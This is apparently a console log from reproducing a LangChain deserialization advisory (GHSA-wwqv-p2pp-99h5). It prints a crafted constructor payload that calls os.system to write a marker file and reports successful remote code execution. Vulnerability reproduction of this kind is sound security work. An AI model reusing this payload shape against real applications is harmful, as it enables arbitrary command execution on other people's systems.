/Users/g/code/pruva/tickets/ghsa-wwqv-p2pp-99h5/repro/venv/lib/python3.14/site-packages/langchain_core/_api/deprecation.py:27: UserWarning: Core Pydantic V1 functionality isn't compatible with Python 3.14 or greater. from pydantic.v1.fields import FieldInfo as FieldInfoV1 [VULNERABLE] Deserializing malicious constructor payload... [VULNERABLE] Payload: {'lc': 2, 'type': 'constructor', 'id': ['os', 'system'], 'args': ["echo 'RCE_EXECUTED_VIA_CONSTRUCTOR' > /Users/g/code/pruva/tickets/ghsa-wwqv-p2pp-99h5/repro/logs/evidence_vuln.txt"]} [VULNERABLE] Deserialized result: 0 [!] RCE SUCCESSFUL! [!] Evidence file content: RCE_EXECUTED_VIA_CONSTRUCTOR